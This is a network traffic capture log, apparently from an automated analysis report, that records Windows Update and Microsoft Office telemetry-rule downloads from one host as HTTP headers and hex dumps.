2024-11-23 19:22:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+F6T7zwGA17n+KM&MD=+2W2RspU HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 19:22:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 6586790a-6596-4a35-ad1d-e35c118b7b56 MS-RequestId: 07ae7ad4-e512-4d5a-85f7-9f89224bb080 MS-CV: 5fAvNBFk30Gi/afF.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 19:22:19 GMT Connection: close Content-Length: 24490
2024-11-23 19:22:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-23 19:22:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:22:58 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:22:58 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:22:58 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 22 Nov 2024 01:49:48 GMT ETag: "0x8DD0A97F285E80B" x-ms-request-id: c1af2548-001e-00ad-39e4-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192258Z-178bfbc474bpnd5vhC1NYC4vr400000004zg000000001hxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:22:58 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-23 19:22:58 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-23 19:22:58 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-23 19:22:59 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-23 19:22:59 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-23 19:22:59 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-23 19:22:59 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-23 19:22:59 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-23 19:22:59 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-23 19:22:59 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:22:59 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+F6T7zwGA17n+KM&MD=+2W2RspU HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 19:23:00 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 19f7ce04-edee-4647-afba-947b755a6c43 MS-RequestId: 8663e720-f7c7-4b41-ada0-392b1b9edc55 MS-CV: UanxieMcX0+OcDac.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 19:23:00 GMT Connection: close Content-Length: 30005
2024-11-23 19:23:00 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-23 19:23:00 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:01 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:01 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: a3d07856-b01e-0084-3a7e-3bd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192301Z-174c587ffdf89smkhC1TEB697s00000003cg00000000gp5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:01 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:01 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:01 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192301Z-174c587ffdfl22mzhC1TEBk40c00000003g000000000d9r5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:01 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:01 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:01 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 1c744767-001e-0082-6060-3b5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192301Z-178bfbc474b9fdhphC1NYCac0n00000004w000000000512q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
